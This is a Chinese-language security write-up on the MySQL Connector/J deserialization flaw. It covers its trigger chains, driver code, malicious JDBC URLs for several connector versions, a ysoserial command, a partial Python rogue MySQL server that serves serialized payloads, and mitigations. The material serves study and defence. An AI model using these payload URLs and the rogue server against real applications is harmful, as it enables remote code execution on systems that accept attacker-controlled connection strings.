Java安全 - Mysql-JDBC反序列化
字数 1352 2025-08-19 12:42:36
MySQL-JDBC反序列化漏洞分析与利用
漏洞概述
MySQL-JDBC反序列化漏洞是指当攻击者能够控制JDBC连接设置项时,可以通过设置指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而实现远程代码执行(RCE)。
漏洞前提条件
- JDBC连接参数可控且目标机器能够出网
- 存在可利用的反序列化漏洞链
漏洞原理
MySQL JDBC客户端在连接服务端时,如果字段类型为BLOB或BIT且autoDeserialize设置为true,会对数据进行反序列化操作。攻击者可以通过控制连接参数,使客户端连接恶意MySQL服务器,返回精心构造的序列化数据触发反序列化漏洞。
漏洞分析
两条主要触发链
- SHOW SESSION STATUS链
- SHOW COLLATION链
关键参数说明
- BLOB: 二进制形式的长文本数据
- BIT: Bit数据类型
- queryInterceptors: 逗号分隔的Class列表(实现
com.mysql.cj.interceptors.QueryInterceptor接口),在Query执行前后进行拦截操作 - autoDeserialize: 自动检测与反序列化BLOB字段中的对象
ServerStatusDiffInterceptor触发链分析
依赖版本
- mysql-connector-java 8.0.13
漏洞触发点
- 反序列化入口在
com.mysql.cj.jdbc.result.ResultSetImpl.getObject() - 当字段类型为BIT或BLOB且
autoDeserialize=true时,会检查数据是否为Java序列化对象 - 如果是序列化对象,则调用
readObject()进行反序列化
调用链
ServerStatusDiffInterceptor.preProcess()
→ populateMapWithSessionStatusValues()
→ resultSetToMap()
→ getObject()
→ readObject()
关键代码分析
public Object getObject(int columnIndex) throws SQLException {
// 检查字段类型
switch (field.getMysqlType()) {
case BIT:
case BLOB:
if ((Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
// 检查是否为Java序列化对象(魔数0xaced)
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}
// 反序列化
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
}
}
}
detectCustomCollations触发链分析
依赖版本
- mysql-connector-java 5.1.29
触发条件
- 服务器版本≥4.1.0
detectCustomCollations=true
调用链
ConnectionImpl.buildCollationMapping()
→ 执行SHOW COLLATION
→ resultSetToMap()
→ getObject()
→ readObject()
漏洞利用Payload
ServerStatusDiffInterceptor链
-
MySQL 8.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc -
MySQL 6.x(属性名不同):
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc -
MySQL 5.1.11及以上:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
detectCustomCollations链
-
MySQL 5.1.29-5.1.40:
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc -
MySQL 5.1.28-5.1.19:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
漏洞复现
准备工作
- 使用MySQL_Fake_Server搭建恶意MySQL服务器
- 生成ysoserial payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload
恶意MySQL服务器代码示例
# coding=utf-8
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def get_payload_content():
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
return str(binascii.b2a_hex(f.read()),encoding='utf-8')
def run():
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind(('0.0.0.0', 3307))
sk.listen(1)
while 1:
conn, addr = sk.accept()
# 发送问候报文
send_data(conn,greeting_data)
while True:
# 处理认证过程
receive_data(conn)
send_data(conn,response_ok_data)
data=receive_data(conn)
if "show session status" in data:
# 构造包含payload的响应
payload_content=get_payload_content()
# ... [构造响应数据包] ...
send_data(conn, mysql_data)
break
客户端测试代码
import java.sql.*;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://127.0.0.1:3307/test?" +
"autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
}
}
防御措施
- 升级MySQL Connector/J到最新版本
- 禁止用户控制JDBC连接参数
- 设置
autoDeserialize=false - 使用白名单限制允许连接的MySQL服务器
参考链接
- https://xz.aliyun.com/t/8159
- https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC反序列化漏洞/
- https://www.anquanke.com/post/id/203086